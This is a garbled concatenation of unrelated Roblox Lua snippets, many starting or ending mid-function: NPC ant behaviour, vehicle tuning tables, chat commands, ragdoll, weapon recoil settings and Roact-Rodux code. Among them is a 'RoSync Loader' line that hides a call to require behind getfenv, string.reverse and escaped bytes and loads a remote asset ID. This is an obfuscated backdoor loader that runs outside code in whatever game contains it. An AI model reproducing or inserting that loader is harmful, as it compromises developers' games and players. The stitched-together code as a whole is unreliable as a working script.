UpdateLt(.25,blue) UpdatePt(true,blue) UpdateMt(0,9e9,1) repeat wait() until lt~=3 end end)
--DevVince was here.:o (4/23/2019) --Fixed some stuff and made ants go after diffrent targets.
local hill = script.Parent local itemData = require(game.ReplicatedStorage.Modules.ItemData) local activeAnts = {} function GetDictionaryLength(tab) local total = 0 for _,v in next, tab do total = total + 1 end return total end addAnt = coroutine.wrap(function() while task.wait(5) do if GetDictionaryLength(activeAnts) < 3 then local newAnt = game.ServerStorage.Creatures['Scavenger Ant']:Clone() newAnt:SetPrimaryPartCFrame(hill.PrimaryPart.CFrame*CFrame.new(0,5,0)) newAnt.Parent = hill activeAnts[newAnt] = { ["carrying"] = nil, ["target"] = nil, ["destination"] = newAnt.PrimaryPart.Position, ["lastOrder"] = tick(), ["lastScan"] = tick(), ["anims"] = {}, } for _,anim in next,game.ReplicatedStorage.NPCAnimations.Ant:GetChildren() do activeAnts[newAnt].anims[anim.Name] = newAnt:WaitForChild("Hum"):LoadAnimation(anim) end newAnt:WaitForChild'Health'.Changed:connect(function() newAnt.PrimaryPart.Hurt.Pitch = newAnt.PrimaryPart.Hurt.OriginalPitch.Value+(math.random(-100,100)/100) newAnt.PrimaryPart.Hurt:Play() end) newAnt.AncestryChanged:connect(function() activeAnts[newAnt] = nil end) end task.wait(55) end end) addAnt() function Seeking(array, target)--Queen ant keeps track of her workers. ;) for i,v in pairs(array) do if v == target then return true end end return false end manageAnts = coroutine.wrap(function() while task.wait(1) do local seeking = {} for ant, antData in next,activeAnts do spawn(function() if ant and ant.PrimaryPart and ant:FindFirstChild'Hum' and ant.Hum.Health > 0 and ant:IsDescendantOf(workspace) then activeAnts[ant].lastScan = tick() -- scan for nearest Shelly if not activeAnts[ant].carrying then local nearestShelly,closestDist = nil,math.huge for _,creature in next, workspace.Critters:GetChildren() do if not Seeking(seeking, creature) and creature:FindFirstChild'HitShell' and itemData[creature.Name].abductable then local a, c = ant.PrimaryPart, creature.PrimaryPart if not c then c = creature:FindFirstChildOfClass'BasePart' end local dist = (c.Position-a.Position).magnitude if dist < closestDist then nearestShelly = creature closestDist = dist end end end if ant and nearestShelly then activeAnts[ant].destination = nearestShelly.PrimaryPart.Position activeAnts[ant].target = nearestShelly table.insert(seeking, nearestShelly) activeAnts[ant].target.AncestryChanged:connect(function() activeAnts[ant].target = nil end) end else activeAnts[ant].destination = hill.PrimaryPart.Position+Vector3.new(0,3,0) end if activeAnts[ant].destination then ant.Hum:MoveTo(activeAnts[ant].destination) if not activeAnts[ant].anims.AntWalk.IsPlaying then activeAnts[ant].anims.AntWalk:Play() end if antData.target and not antData.carrying then local dist = (ant.PrimaryPart.Position-activeAnts[ant].target.PrimaryPart.Position).magnitude if dist < 5 then -- let's get a new shelly local abductedShelly = game.ServerStorage.Misc["Abducted Shelly"]:Clone() antData.carrying = abductedShelly abductedShelly.Shell.Material = antData.target.Shell.Material abductedShelly.Shell.Color = antData.target.Shell.Color abductedShelly.ActualName.Value = antData.target.Name --game.ReplicatedStorage.Events.NPCAttack:Fire(antData.target,math.huge) antData.target:Destroy() abductedShelly.Parent = ant activeAnts[ant].anims.AntWalk:Stop() activeAnts[ant].anims.AntHold:Play() ant.PrimaryPart.Chatter:Play() ant.PrimaryPart.ShellyAbduct:Play() -- weld the shelly to the torso local weld = Instance.new("ManualWeld") weld.Parent = ant.PrimaryPart weld.Part0 = ant.PrimaryPart weld.Part1 = abductedShelly.PrimaryPart weld.C0 = CFrame.new(-.4,.4,-1.6)*CFrame.Angles(0,math.rad(90),0) end elseif antData.carrying then local dist = (ant.PrimaryPart.Position-activeAnts[ant].destination).magnitude if dist < 7 then ant.Hum:MoveTo(ant.PrimaryPart.Position) ant.PrimaryPart.Chatter:Play() activeAnts[ant].anims.AntHold:Stop() activeAnts[ant].anims.AntWalk:Stop() activeAnts[ant].carrying:Destroy() activeAnts[ant].carrying = nil activeAnts[ant].destination = nil activeAnts[ant].target = nil end end end end end)--Help prevent breaking and faster responding times for ants. end--Shouldn't error now though. end end) manageAnts()
--[[ Last synced 11/11/2020 02:19 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- << CONFIGURATION >>
local rank = "Mod" local rankType = "Temp" -- "Temp", "Server" or "Perm". For more info, visit: https://devforum.roblox.com/t/HD/266932 local successColor = Color3.fromRGB(0,255,0) local errorColor = Color3.fromRGB(255,0,0)
-- Ammo tracking setup
local currentAmmo local ammoLeft local clipSize = configs.clipSize currentAmmo = clipSize ammoLeft = configs.extraAmmo
-------------------------
function onClicked() R.BrickColor = BrickColor.new("Really red") C.One.BrickColor = BrickColor.new("Really black") C.Two.BrickColor = BrickColor.new("Really black") C.Three.BrickColor = BrickColor.new("Really black") C.Four.BrickColor = BrickColor.new("Really black") C.MIC.BrickColor = BrickColor.new("Really black") C.A.BrickColor = BrickColor.new("Really black") C.B.BrickColor = BrickColor.new("Really black") end script.Parent.ClickDetector.MouseClick:connect(onClicked)
-- Set local variables
local player = players:GetPlayerFromCharacter(script.Parent) local character = player.Character or player.CharacterAdded:wait() local humanoid = character.Humanoid local isrunning = script.Parent:WaitForChild("IsRunning") local oldWalkSpeed
--[=[ Makes a brio that is limited by the lifetime of its parent (but could be shorter) and has the new values given. @param brio Brio<U> @param ... T @return Brio<T> ]=]
function BrioUtils.extend(brio, ...) if brio:IsDead() then return Brio.DEAD end local values = brio._values local current = {} for i=1, values.n do current[i] = values[i] end local otherValues = table.pack(...) for i=1, otherValues.n do current[values.n+i] = otherValues[i] end local maid = Maid.new() local newBrio = Brio.new(unpack(current, 1, values.n + otherValues.n)) maid:GiveTask(brio:GetDiedSignal():Connect(function() newBrio:Kill() end)) maid:GiveTask(newBrio:GetDiedSignal():Connect(function() maid:DoCleaning() end)) return newBrio end
-- functions
function onRunning(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function moveJump() RightShoulder.MaxVelocity = 0.1 LeftShoulder.MaxVelocity = 0.1 RightShoulder:SetDesiredAngle(0) LeftShoulder:SetDesiredAngle(0) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) end
--[[Transmission]]
Tune.ClutchType = "Clutch" --[[ [Types] "Clutch" : Standard clutch, recommended "TorqueConverter" : Torque converter, keeps RPM up "CVT" : CVT, found in scooters ]] Tune.ClutchMode = "Speed" --[[ [Modes] "Speed" : Speed controls clutch engagement "RPM" : Speed and RPM control clutch engagement ]]
--[[ReplicatedStorage.Remotes.GetPlayerArea.OnServerInvoke:Connect(function(player) return ReplicatedStorage.Remotes.GetPlayerArea:InvokeClient(player) end)]]
return function(player) return ReplicatedStorage.Remotes.GetPlayerArea:InvokeClient(player) end
--[[Engine]]
--Torque Curve Tune.Horsepower = 1000 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8000 -- Use sliders to manipulate values Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6100 Tune.PeakSharpness = 3.8 Tune.CurveMult = 0.07 --Incline Compensation Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 450 -- RPM acceleration when clutch is off Tune.RevDecay = 150 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--// main
if en.Value == true then ha:Play() ha.Looped = true ha:AdjustSpeed(p.Value) end
---Exemplo De Uso | RagdollMD.RagDoll(workspace["Combat Test"],3)
function ActiveRagdoll(plr,Seconds) local character = plr local humanoid = character.Humanoid character.HumanoidRootPart.Massless = true humanoid:ChangeState(Enum.HumanoidStateType.Physics) for _, v in pairs(character:GetDescendants()) do if v:IsA("Motor6D") then local a0, a1 = Instance.new("Attachment"), Instance.new("Attachment") a0.CFrame = v.C0 a1.CFrame = v.C1 a0.Parent = v.Part0 a1.Parent = v.Part1 local b = Instance.new("BallSocketConstraint") b.Attachment0 = a0 b.Attachment1 = a1 b.Parent = v.Part0 v.Enabled = false end end delay(Seconds,function() for _,v in pairs(character:GetDescendants()) do if v:IsA('Motor6D') then v.Enabled = true end if v.Name == 'BallSocketConstraint' then v:Destroy() end if v.Name == 'Attachment' then v:Destroy() end character.HumanoidRootPart.Massless = false humanoid.PlatformStand = false humanoid:ChangeState(Enum.HumanoidStateType.Ragdoll,false) end end) end module.RagDoll = function(plr,Seconds) spawn(function() ActiveRagdoll(plr,Seconds) end) end return module
--Horn Sound Code, Metrotren
m1=script.Parent.StartHorn m2=script.Parent.HornSound m3=script.Parent.EndHorn m1:Stop() --Initial setup m2:Stop() m3:Stop() m1.Volume = 0 m2.Volume = 0 m3.Volume = 0 m2.Looped = false m2.Playing = false script.Parent.Parent:WaitForChild("Drive").Locotrol.Event:connect(function(data) if data["Horn"] == true then m2.Volume = 0 m2.Looped = false m2:Stop() m2.Playing = false m3.Volume = 0 m3:stop() m1.Volume = 1 m1:Play() --wait(m1.TimeLength) --disabled because it makes looping part stuck playing if stopped too soon. if m1.TimePosition < m1.TimeLength then m2.Looped = true m2.Volume = 1 m2:Play() else m1.Volume = 0 m1:Stop() end elseif data["Horn"] == false then m1.Volume = 0 m1:Stop() --For 3 part option m2.Volume = 0 m2:Stop() m2.Looped = false m2.Playing = false m3.Volume = 1 m3:Play() --[[ -- For 2 part option if m2.IsPlaying == true then for i=1, 0, -.1 do m2.Volume = i*1 wait(.1) end end m2.Volume = 0 m2.Looped = false m2.Playing = false m2:Stop() --]] end end)
-- Map storing Player -> Blocked user Ids.
local BlockedUserIdsMap = {} PlayersService.PlayerAdded:connect(function(newPlayer) for player, blockedUsers in pairs(BlockedUserIdsMap) do local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUsers do local blockedUserId = blockedUsers[i] if blockedUserId == newPlayer.UserId then speaker:AddMutedSpeaker(newPlayer.Name) end end end end end) PlayersService.PlayerRemoving:connect(function(removingPlayer) BlockedUserIdsMap[removingPlayer] = nil end) EventFolder.SetBlockedUserIdsRequest.OnServerEvent:connect(function(player, blockedUserIdsList) BlockedUserIdsMap[player] = blockedUserIdsList local speaker = ChatService:GetSpeaker(player.Name) if speaker then for i = 1, #blockedUserIdsList do local blockedPlayer = PlayersService:GetPlayerByUserId(blockedUserIdsList[i]) if blockedPlayer then speaker:AddMutedSpeaker(blockedPlayer.Name) end end end end) EventFolder.GetInitDataRequest.OnServerInvoke = (function(playerObj) local speaker = ChatService:GetSpeaker(playerObj.Name) if not (speaker and speaker:GetPlayer()) then CreatePlayerSpeakerObject(playerObj) speaker = ChatService:GetSpeaker(playerObj.Name) end local data = {} data.Channels = {} data.SpeakerExtraData = {} for i, channelName in pairs(speaker:GetChannelList()) do local channelObj = ChatService:GetChannel(channelName) if (channelObj) then local channelData = { channelName, channelObj:GetWelcomeMessageForSpeaker(speaker), channelObj:GetHistoryLogForSpeaker(speaker), channelObj.ChannelNameColor, } table.insert(data.Channels, channelData) end end for i, oSpeakerName in pairs(ChatService:GetSpeakerList()) do local oSpeaker = ChatService:GetSpeaker(oSpeakerName) data.SpeakerExtraData[oSpeakerName] = oSpeaker.ExtraData end return data end) local function DoJoinCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (channel) then if (channel.Joinable) then if (not speaker:IsInChannel(channel.Name)) then speaker:JoinChannel(channel.Name) else speaker:SetMainChannel(channel.Name) speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_SwitchChannel_NowInChannel", string.format("You are now chatting in channel: '%s'", channel.Name) ), "{RBX_NAME}",channel.Name), channel.Name ) end else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_YouCannotJoinChannel", ("You cannot join channel '" .. channelName .. "'.") ), "{RBX_NAME}",channelName), fromChannelName ) end else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_ChannelDoesNotExist", ("Channel '" .. channelName .. "' does not exist.") ), "{RBX_NAME}",channelName), fromChannelName ) end end end local function DoLeaveCommand(speakerName, channelName, fromChannelName) local speaker = ChatService:GetSpeaker(speakerName) local channel = ChatService:GetChannel(channelName) if (speaker) then if (speaker:IsInChannel(channelName)) then if (channel.Leavable) then speaker:LeaveChannel(channel.Name) speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatService_YouHaveLeftChannel", string.format("You have left channel '%s'", channelName) ), "{RBX_NAME}",channel.Name), "System" ) else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_YouCannotLeaveChannel", ("You cannot leave channel '" .. channelName .. "'.") ), "{RBX_NAME}",channelName), fromChannelName ) end else speaker:SendSystemMessage( string.gsub( ChatLocalization:Get( "GameChat_ChatServiceRunner_YouAreNotInChannel", ("You are not in channel '" .. channelName .. "'.") ), "{RBX_NAME}",channelName), fromChannelName ) end end end ChatService:RegisterProcessCommandsFunction("default_commands", function(fromSpeaker, message, channel) if (string.sub(message, 1, 6):lower() == "/join ") then DoJoinCommand(fromSpeaker, string.sub(message, 7), channel) return true elseif (string.sub(message, 1, 3):lower() == "/j ") then DoJoinCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 7):lower() == "/leave ") then DoLeaveCommand(fromSpeaker, string.sub(message, 8), channel) return true elseif (string.sub(message, 1, 3):lower() == "/l ") then DoLeaveCommand(fromSpeaker, string.sub(message, 4), channel) return true elseif (string.sub(message, 1, 3) == "/e " or string.sub(message, 1, 7) == "/emote ") then -- Just don't show these in the chatlog. The animation script listens on these. return true end return false end) if ChatSettings.GeneralChannelName and ChatSettings.GeneralChannelName ~= "" then local allChannel = ChatService:AddChannel(ChatSettings.GeneralChannelName) allChannel.Leavable = false allChannel.AutoJoin = true allChannel:RegisterGetWelcomeMessageFunction(function(speaker)
---- Variables ----
local Remote = ReplicatedStorage:WaitForChild("IceRemote") local Player = game.Players.LocalPlayer local Character = Player.Character
--[=[ @within Shake @prop Amplitude number Amplitude of the overall shake. For instance, an amplitude of `3` would mean the peak magnitude for the outputted shake vectors would be about `3`. Defaults to `1`. ]=]
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -.2 Tune.RCamber = -.2 Tune.FToe = 0 Tune.RToe = 0
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {18,25} --- Vertical Recoil ,HRecoil = {10,15} --- Horizontal Recoil ,AimRecover = .65 ---- Between 0 & 1 ,RecoilPunch = .25 ,VPunchBase = 3.75 --- Vertical Punch ,HPunchBase = 1.5 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .75 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.12 --- Min bullet spread value | Studs ,MaxSpread = 47 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 1 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 2 --- Max sway value based on player stamina | Studs
-- script.Parent.Parent.Body.Dash.Screen.G.Radio.Select.Position = UDim2.new(0, 0, 0, 60)
end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Parent.Body.Dash.Screen.G.Enabled = false script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = true script.Parent.Parent.Body.Dash.DashSc.G.Select:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true) script.Parent.Parent.Body.Dash.DashSc.G.Frame:TweenPosition(UDim2.new(0, 0, 0, -5), "InOut", "Quint", 1, true) script.Parent.Parent.Body.Dash.DashSc.G.Modes.SpeedStats.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Modes.Info.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Modes.MPG.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Modes.Stats.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Unit.Text = "Goodbye" script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.1 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.2 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.3 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.4 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.5 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.6 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.7 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.8 script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = .5 script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = .5 script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.3 script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.3 script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.3 script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.3 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 0.9 script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = 1 script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = 1 script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 0.7 script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 0.7 script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 0.7 script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 0.7 wait(0.2) script.Parent.Parent.Body.Dash.DashSc.G.ImageLabel.ImageTransparency = 1 script.Parent.Parent.Body.Dash.Spd.Interface.LightInfluence = 1.8 script.Parent.Parent.Body.Dash.Tac.Interface.LightInfluence = 1.8 script.Parent.Parent.Body.Dash.DashSc.G.Car.ImageTransparency = 1 script.Parent.Parent.Body.Dash.DashSc.G.Speed.ImageTransparency = 1 script.Parent.Parent.Body.Dash.DashSc.G.Gas.ImageTransparency = 1 script.Parent.Parent.Body.Dash.DashSc.G.Info1.ImageTransparency = 1 wait(.4) script.Parent.Parent.Body.Dash.DashSc.G.Unit.Visible = false script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false script.Parent.Occupied.Value = false script.Parent.Parent.Body.Dash.Spd.Interface.Enabled = false script.Parent.Parent.Body.Dash.Tac.Interface.Enabled = false end end end end)
-- DO NOT CHANGE ANYTHING! -- -- This script puts a weld in every brick that needs one.--
--print(ChosenNTID)
NightTheme.SoundId = "rbxassetid://" .. ChosenNTID NightTheme.Ended:Connect(function() UpdateNightThemeID() end) end NightTheme:Play() UpdateNightThemeID() game:GetService("RunService").RenderStepped:Connect(function() if Rake ~= nil and Rake:FindFirstChild("HumanoidRootPart") ~= nil then if CharacterRoot ~= nil and ChracterHumanoid ~= nil then -- Check if The rake, Player character, Player character humanoid still exist RangeMagnitude = (Rake.HumanoidRootPart.Position - CharacterRoot.Position).magnitude if Rake.Stunning.Value == true then StunDebounce = true if RangeMagnitude < 70 then ReplayDebounce = true end StopSound() elseif Rake.Stunning.Value == false or ChracterHumanoid.Health > 0 then StunDebounce = false if ReplayDebounce == true and RangeMagnitude < 70 then ReplayDebounce = false StartSound() end end if RangeMagnitude < 70 and Debounce1 == false and StunDebounce == false then Debounce1 = true StartSound() Found:Play() elseif RangeMagnitude > 70 and StunDebounce == false and Debounce1 == true then Debounce1 = false ReplayDebounce = false StopSound() end if RakeTheme.IsPlaying then if RangeMagnitude > 70 then Debounce1 = false ReplayDebounce = false StopSound() end if Rake.NPC.Health <= 0 then script.Parent:Destroy() end if ChracterHumanoid.Health <= 0 then StopSound() end if RangeMagnitude < 70 and RangeMagnitude > 35 then RakeTheme.PlaybackSpeed = 1 end if RangeMagnitude < 35 and RangeMagnitude > 20 then RakeTheme.PlaybackSpeed = 1 end if RangeMagnitude < 20 then RakeTheme.PlaybackSpeed = 1 end if RangeMagnitude < 20 then RakeTheme.PlaybackSpeed = 1 end end end end end)
-- ok so this is like a cool script that allows the garden lights to change, its just for the dumb lights and to add more thing to it yeah no wonder i am this stupid why did i add this kill me aaaaa
-- Connect events
Humanoid.Died:Connect(onDied) Humanoid.Running:Connect(onRunning) Humanoid.Jumping:Connect(onJumping) Humanoid.Climbing:Connect(onClimbing) Humanoid.GettingUp:Connect(onGettingUp) Humanoid.FreeFalling:Connect(onFreeFall) Humanoid.FallingDown:Connect(onFallingDown) Humanoid.Seated:Connect(onSeated) Humanoid.PlatformStanding:Connect(onPlatformStanding) Humanoid.Swimming:Connect(onSwimming)
-- ProximityPrompts
local Workspace = game:GetService("Workspace") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Events = ReplicatedStorage:WaitForChild("Events") local ClientTriggerGame = Events:WaitForChild("ClientTriggerGame") local toggleRideHUD = Events:WaitForChild("ToggleRideHUD") local starterGUI = script.Parent local playNPC = game.Workspace.Lobby:WaitForChild("PlayNPC") local proximityPlay = playNPC:WaitForChild("ProximityPrompt") local playScreen = starterGUI:WaitForChild("PlayScreen") local playGUI = playScreen:WaitForChild("PlayGUI") local tutorialGUI = playScreen:WaitForChild("TutorialGUI")
--[[ Stores templates for different kinds of logging messages. ]]
return { cannotAssignProperty = "The class type '%s' has no assignable property '%s'.", cannotConnectChange = "The %s class doesn't have a property called '%s'.", cannotConnectEvent = "The %s class doesn't have an event called '%s'.", cannotCreateClass = "Can't create a new instance of class '%s'.", computedCallbackError = "Computed callback error: ERROR_MESSAGE", destructorNeededValue = "To save instances into Values, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.", destructorNeededComputed = "To return instances from Computeds, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.", multiReturnComputed = "Returning multiple values from Computeds is discouraged, as behaviour will change soon - see discussion #189 on GitHub.", destructorNeededForKeys = "To return instances from ForKeys, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.", destructorNeededForValues = "To return instances from ForValues, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.", destructorNeededForPairs = "To return instances from ForPairs, provide a destructor function. This will be an error soon - see discussion #183 on GitHub.", duplicatePropertyKey = "", forKeysProcessorError = "ForKeys callback error: ERROR_MESSAGE", forKeysKeyCollision = "ForKeys should only write to output key '%s' once when processing key changes, but it wrote to it twice. Previously input key: '%s'; New input key: '%s'", forKeysDestructorError = "ForKeys destructor error: ERROR_MESSAGE", forPairsDestructorError = "ForPairs destructor error: ERROR_MESSAGE", forPairsKeyCollision = "ForPairs should only write to output key '%s' once when processing key changes, but it wrote to it twice. Previous input pair: '[%s] = %s'; New input pair: '[%s] = %s'", forPairsProcessorError = "ForPairs callback error: ERROR_MESSAGE", forValuesProcessorError = "ForValues callback error: ERROR_MESSAGE", forValuesDestructorError = "ForValues destructor error: ERROR_MESSAGE", invalidChangeHandler = "The change handler for the '%s' property must be a function.", invalidEventHandler = "The handler for the '%s' event must be a function.", invalidPropertyType = "'%s.%s' expected a '%s' type, but got a '%s' type.", invalidRefType = "Instance refs must be Value objects.", invalidOutType = "[Out] properties must be given Value objects.", invalidOutProperty = "The %s class doesn't have a property called '%s'.", invalidSpringDamping = "The damping ratio for a spring must be >= 0. (damping was %.2f)", invalidSpringSpeed = "The speed of a spring must be >= 0. (speed was %.2f)", mistypedSpringDamping = "The damping ratio for a spring must be a number. (got a %s)", mistypedSpringSpeed = "The speed of a spring must be a number. (got a %s)", mistypedTweenInfo = "The tween info of a tween must be a TweenInfo. (got a %s)", springTypeMismatch = "The type '%s' doesn't match the spring's type '%s'.", strictReadError = "'%s' is not a valid member of '%s'.", unknownMessage = "Unknown error: ERROR_MESSAGE", unrecognisedChildType = "'%s' type children aren't accepted by `[Children]`.", unrecognisedPropertyKey = "'%s' keys aren't accepted in property tables.", unrecognisedPropertyStage = "'%s' isn't a valid stage for a special key to be applied at." }
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local aFinderButton = dockShelf.GClippsly local Minimalise = script.Parent local window = script.Parent.Parent.Parent
--[[ Clone the contents of StarterGui into the player's PlayerGui, placing them on top This is required as this game does not use characters, therefore StarterGui does not work out of the box. ]]
function UIController.extractStarterGui() local playerGui = Players.LocalPlayer:WaitForChild("PlayerGui") for _, child in pairs(StarterGui:GetChildren()) do child.DisplayOrder = 1 child:Clone().Parent = playerGui end end
-- Ps2maniac9 Technology
script.Ps2maniac9Credits.Parent = Game.Workspace wait(0.1) credit = script.Parent.Ps2maniac9ScreenGui MakeHintsAll = false if Game.Workspace.Ps2maniac9Credits.Value < 1 then Game.Workspace.Ps2maniac9Credits.Value = 1 if not game:FindFirstChild("NetworkServer") then if MakeHintsAll then credit.Parent = Game.StarterGui end else credit.Parent = Game.StarterGui end end
--[[** ensures value is an enum of the correct type @param enum The enum to check @returns A function that will return true iff the condition is passed **--]]
function t.enum(enum) assert(t.Enum(enum)) return function(value) local enumItemSuccess, enumItemErrMsg = t.EnumItem(value) if not enumItemSuccess then return false, enumItemErrMsg end if value.EnumType == enum then return true else return false, string.format("enum of %s expected, got enum of %s", tostring(enum), tostring(value.EnumType)) end end end do local checkWrap = t.tuple(t.callback, t.callback) --[[** wraps a callback in an assert with checkArgs @param callback The function to wrap @param checkArgs The functon to use to check arguments in the assert @returns A function that first asserts using checkArgs and then calls callback **--]] function t.wrap(callback, checkArgs) assert(checkWrap(callback, checkArgs)) return function(...) assert(checkArgs(...)) return callback(...) end end end
--[put in StarterGui]
wait(0) --dont delete, the script can crash if you delete this line local plr = game.Players.LocalPlayer --local player local players = game.Players --players local message = "you lost" --message when die (kick message), change if you want players.RespawnTime = 0 plr.CharacterRemoving:Connect(function(e) --detects if the player died. plr:Kick(message) --kick the player with the message end)
--mouse.TargetFilter = workspace.Beams
function getHit() return mouse.Hit end game.ReplicatedStorage.RequestHit.OnClientInvoke = getHit
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 200 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 320 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 400 , spInc = 50 , -- Increment between labelled notches } }
--[[ mapStateToProps: (storeState, props) -> partialProps OR () -> (storeState, props) -> partialProps mapDispatchToProps: (dispatch) -> partialProps ]]
local function connect(mapStateToPropsOrThunk, mapDispatchToProps) local connectTrace = debug.traceback() if mapStateToPropsOrThunk ~= nil then assert(typeof(mapStateToPropsOrThunk) == "function", "mapStateToProps must be a function or nil!") else mapStateToPropsOrThunk = noop end local mapDispatchType = typeof(mapDispatchToProps) if mapDispatchToProps ~= nil then assert( mapDispatchType == "function" or mapDispatchType == "table", "mapDispatchToProps must be a function, table, or nil!" ) else mapDispatchToProps = noop end return function(innerComponent) if innerComponent == nil then local message = formatMessage({ "connect returns a function that must be passed a component.", "Check the connection at:", "%s", }, { connectTrace, }) error(message, 2) end local componentName = ("RoduxConnection(%s)"):format(tostring(innerComponent)) local Connection = Roact.Component:extend(componentName) function Connection.getDerivedStateFromProps(nextProps, prevState) if prevState.stateUpdater ~= nil then return prevState.stateUpdater(nextProps.innerProps, prevState) end end function Connection:createStoreConnection() self.storeChangedConnection = self.store.changed:connect(function(storeState) self:setState(function(prevState, props) local mappedStoreState = prevState.mapStateToProps(storeState, props.innerProps) -- We run this check here so that we only check shallow -- equality with the result of mapStateToProps, and not the -- other props that could be passed through the connector. if shallowEqual(mappedStoreState, prevState.mappedStoreState) then return nil end return prevState.stateUpdater(props, prevState, mappedStoreState) end) end) end function Connection:init(props) self.store = props.store if self.store == nil then local message = formatMessage({ "Cannot initialize Roact-Rodux connection without being a descendent of StoreProvider!", "Tried to wrap component %q", "Make sure there is a StoreProvider above this component in the tree.", }, { tostring(innerComponent), }) error(message) end local storeState = self.store:getState() local mapStateToProps = mapStateToPropsOrThunk local mappedStoreState = mapStateToProps(storeState, self.props.innerProps) -- mapStateToPropsOrThunk can return a function instead of a state -- value. In this variant, we keep that value as mapStateToProps -- instead of the original mapStateToProps. This matches 